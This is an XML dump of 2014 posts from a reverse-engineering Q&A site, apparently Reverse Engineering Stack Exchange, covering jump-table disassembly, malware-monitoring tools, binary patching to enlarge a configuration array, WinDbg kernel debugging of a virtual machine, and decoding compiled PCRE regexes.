  <row Id="4292" PostTypeId="2" ParentId="4288" CreationDate="2014-05-08T09:04:31.713" Score="5" Body="&lt;p&gt;what does broken mean &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the instruction in either this post or in your earlier post do not seem to be broken &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are confused with AT&amp;amp;T syntax then you can ask objdump to disassemble in intel syntax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a better explanation of broken can get a better answer &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@box:/home/dsl/gcctests/test# cat testjt.c &#xA;void naked (void)&#xA;{&#xA;        asm( &quot;.globl _naked\n&quot;);&#xA;        asm( &quot;_naked:\n&quot;);&#xA;        asm( &quot;jmp *0x80509e4(,%eax,4)&quot;);&#xA;        asm( &quot;lea 0x0(,%ebp,8),%eax&quot;);&#xA;        asm( &quot;ret&quot;);&#xA;}&#xA;int main (void)&#xA;{&#xA;        naked();&#xA;        return 0;&#xA;}&#xA;&#xA;&#xA;root@box:/home/dsl/gcctests/test# objdump -t ./testjt | grep _naked&#xA;08048357 g       .text  00000000              _naked&#xA;&#xA;&#xA;root@box:/home/dsl/gcctests/test# objdump -d --disassembler-option=intel  ./testjt | grep -A 2 _naked&#xA;&#xA;&#xA;08048357 &amp;lt;_naked&amp;gt;:&#xA; 8048357:       ff 24 85 e4 09 05 08    jmp    DWORD PTR [eax*4+134547940]&#xA; 804835e:       8d 04 ed 00 00 00 00    lea    eax,[ebp*8]&#xA;&#xA;&#xA;root@box:/home/dsl/gcctests/test#  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-08T09:04:31.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4293" PostTypeId="2" ParentId="4285" CreationDate="2014-05-08T10:00:26.353" Score="7" Body="&lt;p&gt;This is just the ugly AT&amp;amp;T syntax. In Intel syntax it's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp dword ptr [eax*4+0x80509e4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yes, it's most likely a jump table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can switch &lt;code&gt;objdump&lt;/code&gt; to Intel syntax by adding &lt;code&gt;-M intel&lt;/code&gt; to the command line.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-08T10:00:26.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4294" PostTypeId="1" CreationDate="2014-05-08T12:43:39.510" Score="3" ViewCount="3969" Body="&lt;p&gt;I am working on some malware that currently only runs with Windows 7 is detected. I would like to use CaptureBAT, but it doesn't work on Windows 7 (with the exception of network monitoring). Is there an alternate to this that will capture deleted files? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine this will need to work at the Kernel leverl for API hooking as well. I have looked at a couple of alternatives including using PowerShell to monitor file changes (&lt;a href=&quot;http://dereknewton.com/category/powershell/&quot; rel=&quot;nofollow&quot;&gt;http://dereknewton.com/category/powershell/&lt;/a&gt;) and also to use the WMI process for logging data, but neither of them are a great solution and I want all captured files that the malware attempts to delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a tool that will work on Windows 7 for this?&lt;/p&gt;&#xA;" OwnerUserId="4583" LastActivityDate="2019-02-28T15:01:30.533" Title="Alternative to CaptureBAT on Windows 7?" Tags="|tools|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4295" PostTypeId="2" ParentId="4294" CreationDate="2014-05-08T13:33:55.950" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.honeynet.org/files/CaptureBAT-Setup-2.0.0-5574-src.zip&quot; rel=&quot;nofollow&quot;&gt;Capture BAT is open-source&lt;/a&gt;. Why not just rebuild it for Windows 7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And based on my 10 seconds of skimming Capture BAT's described functionality, it seems that &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;Process Monitor&lt;/a&gt; might be a viable alternative.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-08T13:33:55.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4296" PostTypeId="2" ParentId="4287" CreationDate="2014-05-08T13:48:50.777" Score="3" Body="&lt;p&gt;It seems to me that the problem is a bit worse than you describe, and there's no easy way to get around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, @sealed seems to be right with the function being a class method, and your compiler passing the class pointer in &lt;code&gt;ecx&lt;/code&gt;, because that's the only way for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008F28B5                 lea     ecx, [esi+eax*4+4]&#xA;.text:008F28B9                 call    ReadCfgEntry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make sense - other parameters are pushed on the stack, and the values of eax, edx and ebx seem not to be very meaningful, so the compiler doesn't use some kind of parameters-in-registers fastcall abi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let me reorder the statements from the loop start to the call a bit (without changing the meaning, just to make a bit clearer what happens). The compiler spread the &quot;increment the count by one&quot; instructions between the others, probably to take advantage of pipelining within the processor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- get the current &quot;number of config entries&quot; count, and abort the loop if it exceeds 500&#xA;&#xA;.text:008F2890                 mov     eax, [esi+79954h]&#xA;.text:008F2896                 cmp     eax, 1F4h&#xA;.text:008F289B                 jge     loc_8F29DF&#xA;&#xA;-- increment the count by one&#xA;&#xA;.text:008F28A6                 lea     ecx, [eax+1]&#xA;.text:008F28AE                 mov     [esi+79954h], ecx&#xA;&#xA;-- eax = (( count &amp;lt;&amp;lt; 5 - count ) * 8 ) + count = count*249&#xA;.text:008F28A1                 mov     edx, eax&#xA;.text:008F28A3                 shl     edx, 5&#xA;.text:008F28A9                 sub     edx, eax&#xA;.text:008F28AB                 lea     eax, [eax+edx*8]&#xA;&#xA;-- push edi, which is a parameter to this function, on the stack;&#xA;-- pass this = esi+4*eax+4  == esi+996*count+4 in ecx. Remember esi was set to&#xA;-- `this`=`ecx` at the start of the current method and hasn't been changed.&#xA;&#xA;.text:008F28B4                 push    edi&#xA;.text:008F28B5                 lea     ecx, [esi+eax*4+4]&#xA;.text:008F28B9                 call    ReadCfgEntry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems like ReadCfgEntry is a class method as well, which gets its &lt;code&gt;this&lt;/code&gt; pointer in cx. From the way the array index is calculated, i'd assume the original C++ class looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Configuration {&#xA;    int whatever;&#xA;    ConfigurationEntry entries[500];&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with ConfigurationEntry being a 996 byte class.&#xA;Now, the bad news is: These two class members need 4+(500*996) bytes. This is equal to 498004, or 0x79954. So your entry count is directly behind the entries at 0x79954, with another variable at 0x79958:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Configuration {&#xA;    int whatever;&#xA;    ConfigurationEntry entries[500];&#xA;    int entryCount;&#xA;    int somethingelse;&#xA;    ... ??? ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if the entries had been a pointer and allocated with &lt;code&gt;new&lt;/code&gt;, it would have been easier to just modify the size parameter in that new from 500 to 1000. But in your case, you'd have to modify the new method of the Configuration class, and you'd have to modify ALL references to variables &quot;behind&quot; the configuration entries as well. You already mentioned that for the count variable at offset 0x79954, and the next variable at offset 0x79958, but there might be more of them that don't get referenced in your reader function, so you'll have a hard time finding them all.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I was just about to post this, when i saw your edit to the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you realized in your edit, you need to change all accesses to structure components behind the array of entries that you want to increase. You need to do this in your class methods (which you can find easily as you have the vtables), but also in the rest of your program (as you don't know which of the original class variables where public and might be accessed from outside the class itself). &lt;em&gt;Unfortunately, you can't really automate that, because, for every occurence of, say 0x79954, you'd have to check if it's an index into your class, or something else.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i don't know which compiler was used to write your program, i can't tell much about how it stores the function vtable. With a bit of luck, the first entry (the one i called &lt;code&gt;whatever&lt;/code&gt; earlier) is the vtable pointer. You can check this if you run the program with a debugger, and check if the &lt;code&gt;whatever&lt;/code&gt; variable points to the vtable when it reaches the ReadConfigFile method. If it does, this is good, because we don't have to care about overwriting the vtable when extending the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, there must be some allocator function for your classes. Since you seem to have a class called DATABASE_TABLE, and a derived one called CFG_DB, the second one is probably larger. Try finding the initializing method of this second, larger class. It should call &lt;code&gt;new&lt;/code&gt; or a similar memory-allocator, with a size that fits the structure size (so it's probably somewhere between 79960h and 79a00h), and it should move the vtable pointer into the newly allocated memory, so you might be able to find it checking for cross-references of the vtable. Or, use a debugger and set a breakpoint on ReadConfigFile and check the stack for what called it, chances should be good you find a function that allocates the class instance first, then calls its ReadConfigFile member function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you find where the class is instantiated, i'd probably try not to increase the array size from 500 to 1000, but, instead, just allocate a larger array behind the structure. For example, if your current function allocates 79a00h bytes, add the 996000d bytes to it that 1000 entries need, resulting in 16cca0h bytes. Then, change the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea ecx, [esi+eax*4+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in front of ReadCfgEntry to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea ecx, [esi+eax*4+16cca0h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, you've created another array &lt;em&gt;behind&lt;/em&gt; the current structure instead of extending the current one. &lt;em&gt;Which means none of your structure offsets, except the config items themselves, have changed&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking in C++, we just changed the class to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Configuration {&#xA;    int whatever;&#xA;    ConfigurationEntry entries[500];&#xA;    int entryCount;&#xA;    int somethingelse;&#xA;    ... ??? ...&#xA;    ConfigurationEntry newEntries[1000];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the next step we have to re-write all accessed to &lt;code&gt;entries&lt;/code&gt; to use &lt;code&gt;newentries&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your member functions for accesses to the original array, and replace them as well. The most simple way to do this is probably&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start the program with a debugger&lt;/li&gt;&#xA;&lt;li&gt;set a breakpoint on the function you identified previously that allocates the structure&lt;/li&gt;&#xA;&lt;li&gt;after the structure is allocated, set a hardware breakpoint on (structure address + 4)&lt;/li&gt;&#xA;&lt;li&gt;continue the program, and whenever you hit the hardware breakpoints, you found a match&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the hardware breakpoint is on entries[0], chances are good that every access to an entry hits the 0-th of it at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since ReadCfgEntry is probably a class method, chances are good that there is a loop somewhere that just allocates one class instance for each entry - something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (i=0; i&amp;lt;500; i++) {&#xA;    entries[i]=new ConfigurationEntry()&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your hardware breakpoint should catch this loop quite quickly. Patch the executable to change the 500 to 1000, and the entries[i] calculation to your new array. After that, your new array will get initialized, but the old one will hold nothing but NULL pointers. Which means, you might get invalid memory acceses through those NULL pointers in the future, which help identifying accessed to your original array (that you can patch) as well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Edit - Edit after reading OP's 2nd answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Dead end? Not at all, you gathered and posted very valuable information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, your pseudo code of the CFG_DB constructor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall sub_8EEFC0(void *this)&#xA;{&#xA;  void *v1 = this; // esi@1&#xA;  *(_DWORD *)this = &amp;amp;DATABASE_TABLE&amp;lt;CFG_ENTRY_500_unsigned_int&amp;gt;::_vftable_;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;confirms that the 4 bytes at the beginning of the class structure are actually a pointer to the virtual function table of the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, your snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EE639                 push    ebp&#xA;.text:008EE63A                 lea     ecx, [esp+50h+var_2C]&#xA;.text:008EE63E                 push    ecx&#xA;.text:008EE63F                 mov     ecx, ebx&#xA;.text:008EE637                 mov     eax, [ebx]&#xA;.text:008EE641                 call    dword ptr [eax+14h]&#xA;.text:008EE644 ;     ---------------------------------------------------------------------------         &#xA;.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fits very well. (Again, i reordered the assembly instructions in a way that doesn't change what they do, but makes it clearer to understand them). Remember your vtable that had a function offset, a nullsub, 3 more function offsets, and &lt;code&gt;ReadCfgFile&lt;/code&gt; as its entries? Since each of these has 4 bytes, the offset of the ReadCfgFile function pointer in the vtable is 20, or 14h. In that code snippet, ebx is a class pointer; &lt;code&gt;mov eax, [ebx]&lt;/code&gt; gets the vtable pointer from the class pointer, and &lt;code&gt;call dword ptr [eax+14h]&lt;/code&gt; calls the function at that offset, namely &lt;code&gt;ReadCfgFile&lt;/code&gt;. Before that, it initializes the &lt;code&gt;this&lt;/code&gt; register (ecx) to ebx, and pushes 2 parameters on the stack. This seems to be a very standard call to a class method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, your constructor ends in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the first parameter (v1+4) being the address of the ConfigurationEntries array within the Configuration class (i'm keeping my old invented variable/class names), the second parameter (0x3e4 == 996) the size of each array entry; the third (500) the number of entries, and a callback function. I'm almost sure this is the constructor function for the individual ConfigurationEntries. Which means this is the function i said you need to find, and which should be changed to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unknown_libname_2673((char *)v1 + XXXXX, 0x3E4u, 1000, sub_8EEA00);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with XXXXX being the offset of the newEntries array once we allocate space for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, reconsidering a part of the code snippet before the indirect call to ReadConfigFile,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EE62A                 mov     edx, [ebx]&#xA;.text:008EE62C                 mov     ecx, ebx&#xA;.text:008EE62E                 mov     [ebx+7A938h], ebp&#xA;.text:008EE634                 call    dword ptr [edx+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we see that there is a move to &lt;code&gt;ebx+7A938h&lt;/code&gt;, with ebx being the class pointer, so there seems to be another class member at this offset. This is quite a lot of memory &lt;em&gt;after&lt;/em&gt; the offset of the element count (79954h) - so the structure has a lot more components. Good thing you're not trying to shift them all. The constructor function, which accesses &lt;code&gt;this+502036&lt;/code&gt;, or &lt;code&gt;this+0x7a914&lt;/code&gt;, would have been another hint at that. (It also accesses &lt;code&gt;this+124503&lt;/code&gt;, but with &lt;code&gt;this&lt;/code&gt; being a dword pointer, this means 498012 bytes, which is still less than 502036).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you found out the address 0190BD08, which is a very good thing. Along with the XREFs, and the data definition,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0190BD08 unk_190BD08     db    ? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class structure at that address is NOT allocated dynamically, and it is NOT initialized to anything, instead, it is an uninitialized global variable. In C++, it would have probably been a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static Configuration myConfig;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with all the xrefs you're seeing being a reference to myConfig. As the assembly instructions at those places are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, offset unk_190BD08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i'm almost sure the calls to a class member function are one or 2 instructions after each of these. Congractulations, you've just found a way to catch many of the instances where the configuration gets accessed. To verify this, unk_190BD08 being a global variable for the configuration, you could run the program with a breakpoint on the constructor function (sub_8EEFC0), i bet it's called only once, and 190BD08 is the parameter to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad thing about the configuration class instance being a static variable, not a new()-instantiated one, is that we can't just increase the size in the new() call. Instead, we'll have to move it to a part of the address space where it doesn't disturb anything else - at the end of the current uninitialized data segment. Find the very last entry in your data segment, then choose a nice address behind that, and rewrite all the xrefs to unk_190BD08 to that new address. Then, run the program using ollydbg, place a hardware breakpoint on 190BD08 just in case, and check that the functions you know to be class member functions, and the initialized, all get the new address instead of 190BD08 as their &lt;code&gt;ecx&lt;/code&gt; (this) parameter. When you've finished, you're ready to implement the 2nd part, change the accesses to &lt;code&gt;this+4&lt;/code&gt; to &lt;code&gt;this+XXXX&lt;/code&gt; with &lt;code&gt;XXXX&lt;/code&gt; being the class size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that we're missing a new() call for the Configuration variable means we can't use its parameter to get the class size. But we already know the class size is at least 7A938h, so the static variable occupies the address space from 0x190BD08 to at least 0x1986640. With a bit of luck, your .data segment has that unk_190BD08 label, with the next label being at an address a bit after 0x1986640, so the next label is some other variable, and the difference between both labels the size of the Configuration instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one thing left to do - when you move the configuration variable behind everything else, you'll also have to increase the size of that data segment in the PE file. Unfortunately, i'm not that skilled in the windows PE file format, so i'd have to do a lot of research how to do this correctly myself, so maybe you're lucky and someone else, who has more experience in this than i have, can help you with this.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Edit - Edit to answer to comment&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how can I calculate how big is the CFG_DB class in order to append something at the end of it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The original C++ program will have had something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int somevariable;&#xA;int someothervariable;&#xA;CFG_DB globalConfig;&#xA;int athirdvariable;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(int as an example, the data type could be anything)&#xA;and the compiler should place all of these varuables into the uninitialized part of the .data segment. Any access to one of the variables will make IDA create a label at that memory address, with an XREF to where it's accessed. So, if your .data dump looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:0190BD08 unk_190BD08     db    ?        &amp;lt;-- along with some xrefs &#xA;.data:0190BD09                 db    ?        &amp;lt;-- this repeats a lot of times&#xA;.data:01986670 unk_1986670     db    ?        &amp;lt;-- along with some xrefs &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you know that 0190BD08 is your &lt;code&gt;globalConfig&lt;/code&gt;, then 01986670 is &lt;code&gt;athirdvariable&lt;/code&gt;, and the size of globalConfig is 0x01986670 - 0x0190BD08 = 0x7a968 = 502120 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not 100% foolproof, because if anything accesses globalConfig.somemember, with somemember having a structure offset of, say, 500000 (=0x7a120), then IDA will generate a label and an XREF at 0x190BD08+0x7a120=0x1985E28 ass well. But with a bit of luck, the &quot;rest&quot; of the program will just use the globalConfig variable as an argument to a member function, where references are indirect, so they won't be used by IDA to create labels.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what will happen if other classes/methods/etc are interacting with this modified class?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If they access anything but the 500 individual config entries, nothing at all, because these haven't changed their offset. The thing that might be dangerous is when they access the entries, because those accesses should be rewritten to newEntries. You have to find out where they are (if you're lucky, that's just in the member functions) and patch the code at that point. The hardware breakpoint on the (old) entries[0] address (which is 0x190BD0C in your case, structure start + 4) should help with this, because anything that's likely to access any entry, is likely to access entry[0] as well. So, if you hit the hardware breakpoint, on, say, &lt;code&gt;mov eax, [ebx+4]&lt;/code&gt;, then you know &lt;code&gt;ebx+4&lt;/code&gt; is accessing the old address, and should be rewritten to &lt;code&gt;mov eax, [ebx+XXXXX]&lt;/code&gt; to use the new array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you can't create a hardware breakpoint that covers the whole structure to catch any access. That's where the null pointer exceptions kick in. If, after the change, your program throws a NPE where it normally doesn't, it's probably because 'something' accessed the old array, which contains nothing but NULLs now, instead of the new one. Catching the NPE in the debugger, and checking the disassembly/call stack that lead to it, should give you an idea where the NULL pointer was read from the old array, so you know which instruction to change to point to the new one.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-05-09T09:41:31.310" LastActivityDate="2014-05-09T09:41:31.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4298" PostTypeId="1" AcceptedAnswerId="4299" CreationDate="2014-05-09T00:32:46.323" Score="2" ViewCount="2052" Body="&lt;p&gt;I am trying to connect to a Windows XP Professional Virtual Machine running under Microsoft Virtual PC for debugging purposes.&#xA;I was following the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff538143%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN kernel mode debugging article&lt;/a&gt;, however bcdedit command was not being recognized on the guest machine so I added the following entry in the boot.ini file under C:\ drive&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=&quot;KD&quot; /fastdetect /debug /debugport=2 /baudrate=115200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I configured the com2 port to a named pipe (\\.\pipe\pipe2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enter the following command at the command prompt and turned on the virtual machine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;windbg -k com:pipe,port=\\.\pipe\Pipe2,resets=0,reconnect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get the following output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) Windows Debugger Version 6.12.0002.633 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;Waiting for pipe \\.\pipe\pipe2&#xA;Waiting to reconnect...&#xA;Connected to Windows XP 2600 x86 compatible target at (Fri May  9 05:34:23.920 2014 (UTC + 5:30)), ptr64 FALSE&#xA;Kernel Debugger connection established.&#xA;Symbol search path is: C:\Windows\Symbols;srv*C:\Windows\Symbols*http://msdl.microsoft.com/download/symbols&#xA;Executable search path is: &#xA;Windows XP Kernel Version 2600 UP Free x86 compatible&#xA;Built by: 2600.xpsp_sp3_qfe.100216-1510&#xA;Machine Name:&#xA;Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0&#xA;System Uptime: not available&#xA;56: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127&#xA;ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The status bar at the bottom says 'Debugee not connected'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="4279" LastEditorUserId="3355" LastEditDate="2014-06-14T20:58:49.693" LastActivityDate="2014-06-14T20:58:49.693" Title="Debugging Virtual Machine using Windbg" Tags="|debuggers|debugging|windbg|virtual-machines|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4299" PostTypeId="2" ParentId="4298" CreationDate="2014-05-09T01:05:08.710" Score="6" Body="&lt;p&gt;It has been a while since I've used Virtual PC, but I remember the instructions in this guide worked well: &lt;a href=&quot;http://silverstr.ufies.org/lotr0/windbg-vmware.html&quot;&gt;http://silverstr.ufies.org/lotr0/windbg-vmware.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Virtual PC is extremely outdated (7 years old) and it's much easier nowadays to do VM kernel debugging with &lt;a href=&quot;http://virtualkd.sysprogs.org/&quot;&gt;VirtualKD&lt;/a&gt; along with VMware or VirtualBox.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-09T01:05:08.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4300" PostTypeId="2" ParentId="4298" CreationDate="2014-05-09T06:20:13.123" Score="3" Body="&lt;p&gt;that is normal for virtual pc to say debugee not connected  as it has not&lt;br&gt;&#xA;connectedto the target yet it has just established a transport&lt;/p&gt;&#xA;&#xA;&lt;p&gt;press &lt;code&gt;ctrl+break&lt;/code&gt; once to connect and press &lt;code&gt;g&lt;/code&gt; to resume running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jason suggested get the &lt;code&gt;free vmware player&lt;/code&gt; and configure &lt;code&gt;virtualkd&lt;/code&gt; for a much&lt;br&gt;&#xA;faster debugging com port is too slow for many things especially conditinal log breaks&lt;br&gt;&#xA;will stall the debugger for minutes together.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-09T06:20:13.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4302" PostTypeId="1" CreationDate="2014-05-09T17:24:09.643" Score="6" ViewCount="708" Body="&lt;p&gt;I'm dealing with a piece of malware that does extensive use of PCRE (Perl-compatible regular expressions). Normally I would be able to read them, but it seems they're in some kind of binary format (compiled, maybe?). They all start with &lt;code&gt;ERCP&lt;/code&gt; (check out the hexdump below); FWIW, I strongly suspect the language that generated this code to be C++.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000150  00 00 00 00 11 00 5e 00  00 00 01 00 00 00 45 52  |......^.......ER|&#xA;00000160  43 50 56 00 00 00 00 00  80 00 04 00 00 00 01 00  |CPV.............|&#xA;00000170  00 00 00 00 74 00 28 00  00 00 00 00 00 00 00 00  |....t.(.........|&#xA;00000180  00 00 00 00 00 00 5e 00  2a 5f 00 06 00 01 1a 54  |......^.*_.....T|&#xA;00000190  00 05 1c 2e 55 00 0b 1c  61 1c 61 1c 61 1c 61 1c  |....U...a.a.a.a.|&#xA;000001a0  61 1c 61 1c 61 1c 61 1c  2e 1c 6e 1c 65 1c 74 1b  |a.a.a.a...n.e.t.|&#xA;000001b0  55 00 2a 00 00 00 00 00  8d ff a5 95 0a 2d 2d 2d  |U.*..........---|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, the regex seems to match some string related to an internet domain, &lt;em&gt;aaaaaaaa.net&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: given a binary blob like this, is it possible to go back to a &quot;human readable&quot; (decompiled?) PCRE? (&lt;em&gt;i.e.&lt;/em&gt; &lt;code&gt;^aaaaaa\.net$&lt;/code&gt;) If yes, how should I go about it ?&lt;/p&gt;&#xA;" OwnerUserId="4590" LastEditorUserId="53" LastEditDate="2014-05-10T10:58:21.853" LastActivityDate="2014-05-10T10:58:21.853" Title="Reverse engineering Perl-compatible regular-expressions" Tags="|malware|binary-analysis|memory|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4303" PostTypeId="2" ParentId="4302" CreationDate="2014-05-09T17:48:49.293" Score="2" Body="&lt;p&gt;That looks like a &lt;code&gt;real_pcre&lt;/code&gt; structure, whose format is defined &lt;a href=&quot;https://www.opensource.apple.com/source/JavaScriptCore/JavaScriptCore-1C25/pcre/pcre_internal.h&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; among many other places online.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-09T17:48:49.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
